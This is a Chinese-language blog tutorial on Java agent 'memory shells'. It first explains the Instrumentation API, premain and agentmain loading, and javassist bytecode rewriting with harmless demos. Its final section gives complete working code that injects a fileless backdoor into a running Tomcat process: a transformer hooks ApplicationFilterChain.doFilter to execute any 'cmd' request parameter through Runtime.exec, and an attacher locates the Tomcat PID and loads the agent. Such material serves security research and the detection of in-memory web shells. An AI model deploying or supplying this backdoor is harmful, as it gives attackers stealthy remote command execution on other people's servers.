agent内存马

java agent基础

Java Agent 是一个利用 Java Instrumentation API 编写的组件。它允许你在类加载过程中,甚至在类运行期间,动态地修改字节码。

两种加载时机:

加载方式 触发参数 核心入口方法 应用场景
静态加载 (Pre-main) -javaagent:agent.jar public static void premain(...) APM 监控(Skywalking)、RASP 启动、安全审计。
动态加载 (Agent-main) 通过 VirtualMachine Attach public static void agentmain(...) 运行时诊断(Arthas)、热补丁、注入隐藏木马。

代码位于包 java.lang.instrument 下。

image-20260315223217216

IllegalClassFormatException:当输入参数无效时,实现会抛 ClassFileTransformer.transform 出。这可能是因为初始类文件字节无效,或之前应用的变换损坏了字节。

UnmodifiableClassException:当某个指定类无法修改时,该实现会抛 Instrumentation.redefineClasses 出。

ClassDefinition:绑定/定义类 (构造方法:使用提供的类和类文件字节创建一个新的 ClassDefinition 绑定)

ClassFileTransformer:提供transform方法(真正逻辑写在这个接口的实现类中)

Instrumentation

​ 这是 Java 平台的 java.lang.instrument.Instrumentation 接口,供 Java agent(通过 premainagentmain 获得)在运行时进行字节码级别的检测与改造,用于实现探针、性能分析、覆盖率、日志等工具。

主要功能(简要):

  1. ​ 注册/注销字节码转换器:addTransformer / removeTransformer(支持可重转换标志)。
  2. ​ 对已加载类做变换或替换:retransformClasses(重转换)和 redefineClasses(重定义)。
  3. ​ 查询能力与限制:isRetransformClassesSupportedisRedefineClassesSupportedisNativeMethodPrefixSupportedisModifiableClass
  4. ​ 类和对象信息:getAllLoadedClassesgetInitiatedClassesgetObjectSize
  5. ​ 向引导/系统类加载器追加 JAR:appendToBootstrapClassLoaderSearchappendToSystemClassLoaderSearch
  6. ​ 原生方法包装支持:setNativeMethodPrefix(配合 transformer 使用)。

​ 重要约束(要点):

  • ​ 重定义/重转换不能改动类的字段/方法签名或继承关系(仅能修改方法体/常量池/属性等)。
  • ​ 已激活的栈帧继续执行原实现,重新定义不会触发静态初始化器。
1:使用 premain

在程序启动时替换目标类。

一个简单demo

源程序:每秒Meow!一下

//=========================== Cat.java
package org.my;

public class Cat {
    public void say() {
        System.out.println("Meow!");
    }
}

//=========================== Main.java
package org.my;
public class Main {
    public static void main(String[] args) {
        Cat cat = new Cat();
        while (true) {
            cat.say();
             try {
                 Thread.sleep(1000);
             } catch (InterruptedException e) {
                 throw new RuntimeException(e);
             }
        }
    }
}

agent程序:Meow!改成injected! 代码完成后执行 mvn clean package ,可以看到target下有两个jar包即可。

//=========================== pom.xml
  <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.my</groupId>
    <artifactId>AgentShell</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.30.2-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifestEntries>
                            <Premain-Class>org.my.AgentMainTest</Premain-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>
           
//=========================== Cat.java
package org.my;

public class Cat {
    public void say() {
        System.out.println("injected!");
    }
}

//=========================== MyTransformer.java
package org.my;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader,
                            String className,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {

        // 注意:className 在 JVM 内部是用斜杠分隔的
        if ("org/my/Cat".equals(className)) {
            System.out.println("成功拦截并准备替换类: " + className);
            return read("/path/target/classes/org/my/Cat.class");
        }
        // 不修改的类必须返回 null,让 JVM 使用原始的字节码,否则会导致类加载失败
        return null;
    }

    /**
     * 从指定路径读取字节码文件并返回字节数组
     * @param path
     * @return
     */
    public static byte[] read(String path) {
        try (FileInputStream fis = new FileInputStream(path);
             ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
            byte[] tmp = new byte[1024];
            int len;
            while ((len = fis.read(tmp)) != -1) {
                bos.write(tmp, 0, len);
            }
            return bos.toByteArray();
        } catch (Exception e) {
            System.err.println("读取字节码失败: " + e.getMessage());
            return null; // 如果读取失败,返回 null 让 JVM 使用原始类,防止崩溃
        }
    }
}

//=========================== AgentMainTest.java
package org.my;

import java.lang.instrument.Instrumentation;

public class AgentMainTest {

    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
        inst.addTransformer(new MyTransformer());
    }
}

在源程序出执行命令

java org.my.Main

image-20260315230505699

java -javaagent:path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar org.my.Main

image-20260315230407519

2:使用 agentmain

对运行中的 Java 进程附加 Agent 。

一个简单demo

源程序:同上,未改变

agent程序:只写了有改动的部分

//========================= AgentMainTest  增加一个agentmain函数
package org.my;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
        inst.addTransformer(new MyTransformer());
    }
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException,
            ClassNotFoundException {
        inst.addTransformer(new MyTransformer(), true);
        inst.retransformClasses(Class.forName(Cat.class.getName()));
    }
}
//========================= pom.xml
    										<manifestEntries>
                            <Premain-Class>org.my.AgentMainTest</Premain-Class>
                            <Agent-Class>org.my.AgentMainTest</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>

运行源程序后,jps -l找到源程序pid。命令行执行jcmd 28276 help,有两种情况:有JVMTI.agent_load这一项的话 jcmd 28276 JVMTI.agent_load /path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar即可;没有的话用下面的java代码执行。

package org.my;
import com.sun.tools.attach.VirtualMachine;

public class Attacher {
    public static void main(String[] args) throws Exception {
        // 目标进程 PID
        String pid = "28276";
        // Agent JAR 绝对路径
        String agentPath = "/path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar";

        VirtualMachine vm = VirtualMachine.attach(pid);
        try {
            vm.loadAgent(agentPath);
            System.out.println("Agent 注入成功!");
        } finally {
            vm.detach();
        }
    }
}

image-20260315232725847

使用javassist动态修改字节码

只需要改变MyTransformer

package org.my;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader,
                            String className,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {
        if(className.equals("org/my/Cat")) {
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader));
            try{
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
                CtMethod say = cc.getDeclaredMethod("say");
                say.setBody("{ System.out.println(\"Hacked!\"); }");
                return  cc.toBytecode();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        return null;
    }

}

image-20260315235026968

内存马利用

agentmain更便于拿来使用,在普通的tomcat程序中选择一个常出现的类改造即可,这里我们可以选择filter的处理类org/apache/catalina/core/ApplicationFilterChain

//==================== MyTransformer.java   具体的处理逻辑在这里面
package org.my;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;

import java.io.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader,
                            String className,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {
        if(className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
            ClassPool cp = ClassPool.getDefault();
            cp.appendClassPath(new LoaderClassPath(loader));
            try {
                CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
                cc.getDeclaredMethod("doFilter").insertBefore("{ " +
                        "String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "   try {\n" +
                        "       Process proc = Runtime.getRuntime().exec(cmd);\n" +
                        "       java.io.InputStream in = proc.getInputStream();\n" +
                        "       java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        response.setContentType(\"text/html\");\n" +
                        "       String line;\n" +
                        "       java.io.PrintWriter out = response.getWriter();\n" +
                        "       while ((line = br.readLine()) != null) {\n" +
                        "           out.println(line);\n" +
                        "           out.flush();\n" +
                        "           out.close();\n" +
                        "       }\n" +
                        "   } catch (Exception e) {\n" +
                        "       throw new RuntimeException(e);\n" +
                        "   }\n" +
                        "}" +
                        " }");
                return cc.toBytecode();

            }catch (Exception e){
                throw new RuntimeException(e);
            }
        }
        return null;
    }

}

//==================== AgentMainTest.java  agentmain入口   
//  ps:pom.xml中的配置要记得  <Agent-Class>org.my.AgentMainTest</Agent-Class>
package org.my;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
        inst.addTransformer(new MyTransformer());
    }
    public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException{
        inst.addTransformer(new MyTransformer(), true);
        for (Class<?> clazz : inst.getAllLoadedClasses()) {
            if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                System.out.println("Retransforming class: " + clazz.getName());
                inst.retransformClasses(clazz);
            }
        }
    }
}


//==================== Attacher.java   自动化执行代码,自动获取pid和jar包路径
package org.my;
import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Attacher {
    public static void main(String[] args) throws Exception {
        //  获取目标进程 PID
        String pid = getPID("org.apache.catalina.startup.Bootstrap");
        if (pid == null) {throw new RuntimeException("未找到目标进程");}
        // Agent JAR 绝对路径
        String agentPath = getJarPath(Attacher.class)+"../AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar";
        VirtualMachine vm = VirtualMachine.attach(pid);
        try {
            vm.loadAgent(agentPath);
            System.out.println("Agent 注入成功!");
        } finally {
            vm.detach();
        }
    }
    public static String getPID(String className){
        try {
            Process process = Runtime.getRuntime().exec("jps -l");
            BufferedReader bufferedReader = new BufferedReader(
                    new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                if (line.contains(className)){
                    return line.split(" ")[0];
                }
            }
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        return null;
    }
    public static String getJarPath(Class<?> clazz){
        // 获取当前类所在的 JAR 包路径
        String path = clazz.getProtectionDomain().getCodeSource().getLocation().getPath();
        if (System.getProperty("os.name").toLowerCase().contains("win") && path.startsWith("/")) {
            path = path.substring(1);
        }
        return path;
    }
}

agent代码需要打包(mvn clean package)。在启动一个简单的tomcat项目后,执行Attacher.java,在url中拼上cmd参数。

image-20260316010645169

参考内容

https://su18.org/post/irP0RsYK1/#3-%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD-classpathbootclasspath-systemclasspath

https://su18.org/post/memory-shell/

https://www.bilibili.com/video/BV1HaGPzcENy

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐